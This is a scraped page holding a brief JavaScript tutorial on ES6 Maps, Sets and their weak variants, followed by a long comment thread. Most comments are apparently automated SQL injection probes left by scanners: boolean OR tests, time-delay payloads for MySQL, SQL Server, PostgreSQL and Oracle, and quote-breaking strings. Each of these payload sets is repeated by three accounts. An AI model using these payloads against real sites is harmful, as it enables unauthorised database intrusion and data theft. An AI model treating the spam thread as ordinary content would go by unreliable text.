ES6 Maps, WeakMaps, Sets, and WeakSets

node v0.12.18
version: 5.0.0
endpointsharetweet
Maps and Sets are new Collections in JavaScript that extend its capabilities beyond just Objects and Arrays. Maps are kind of like objects, but allow you to use *any* object as a key, not just strings:
var map = new Map(); var key = { name: "Object Key" }; var value = { name: "Object Value" }; // This wouldn't be possible using just an object. map.set(key, value); map.get(key);
With a Map, you'll also never accidentally overwrite a property with a storage key:
map.set("size", "value"); console.log(map.get("size") + " vs. " + map.size);
Sets are more like arrays, but only have unique values in them:
var array = [1,3,5,1,5,5,3]; var uniqueValues = new Set(); array.forEach(value => uniqueValues.add(value)); uniqueValues.forEach((value) => console.log(value));
WeakMaps and WeakSets provide "leak-free" versions of these, by not storing references to the keys. You can read more about Maps, Sets, and their weak counterparts here: https://hacks.mozilla.org/2015/06/es6-in-depth-collections/
Loading…

79 comments

  • posted 10 months ago by hugoboos
    Value =>positive transfer
  • posted 8 months ago by 661c390fa0b29100087f7b89
    v
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+746-746-1=0+0+0+1 --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+825-825-1=0+0+0+1
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+632-632-1=0+0+0+1 --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+460-460-1=0+0+0+1 or 'VKjTNB8w'='
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1" OR 2+525-525-1=0+0+0+1 --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*if(now()=sysdate(),sleep(15),0)
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1; waitfor delay '0:0:15' --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1); waitfor delay '0:0:15' --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 waitfor delay '0:0:15' --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1yTQ3pbIR'; waitfor delay '0:0:15' --
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 OR 960=(SELECT 960 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1) OR 922=(SELECT 922 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1)) OR 439=(SELECT 439 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1RgI5YJsI' OR 681=(SELECT 681 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1pvloBfgg') OR 21=(SELECT 21 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1XTKX4IP6')) OR 424=(SELECT 424 FROM PG_SLEEP(15))--
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    '"
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    ����%2527%2522\'\"
  • posted 6 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    @@gm6Yf
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+978-978-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+644-644-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+786-786-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+127-127-1=0+0+0+1 or '9WeEl3c8'='
  • posted a month ago by xsjybldb
    -1" OR 2+594-594-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    i1gKePBW'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 654=(SELECT 654 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 811=(SELECT 811 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 932=(SELECT 932 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    CThO7wR1' OR 899=(SELECT 899 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    i0YZewYc') OR 788=(SELECT 788 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    BHbueJPN')) OR 331=(SELECT 331 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@0aUwG
  • posted 24 days ago by 67478559714940000843b0a0
    1
  • posted 24 days ago by 67478559714940000843b0a0
    1
  • posted 24 days ago by 67478559714940000843b0a0
    -1 OR 2+920-920-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    -1 OR 2+288-288-1=0+0+0+1
  • posted 24 days ago by 67478559714940000843b0a0
    -1' OR 2+650-650-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    -1' OR 2+508-508-1=0+0+0+1 or 'HnSjlrq2'='
  • posted 24 days ago by 67478559714940000843b0a0
    -1" OR 2+185-185-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    1*if(now()=sysdate(),sleep(15),0)
  • posted 24 days ago by 67478559714940000843b0a0
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 24 days ago by 67478559714940000843b0a0
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 24 days ago by 67478559714940000843b0a0
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 24 days ago by 67478559714940000843b0a0
    1-1; waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1); waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1 waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1uP0z9GD3'; waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1 OR 812=(SELECT 812 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1-1) OR 545=(SELECT 545 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1-1)) OR 158=(SELECT 158 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    12qq01IY5' OR 993=(SELECT 993 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1U9CX2RhB') OR 117=(SELECT 117 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1kDTGW9LT')) OR 409=(SELECT 409 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 24 days ago by 67478559714940000843b0a0
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 24 days ago by 67478559714940000843b0a0
    '"
  • posted 24 days ago by 67478559714940000843b0a0
    ����%2527%2522\'\"
  • posted 24 days ago by 67478559714940000843b0a0
    @@Yy6iX

sign in to comment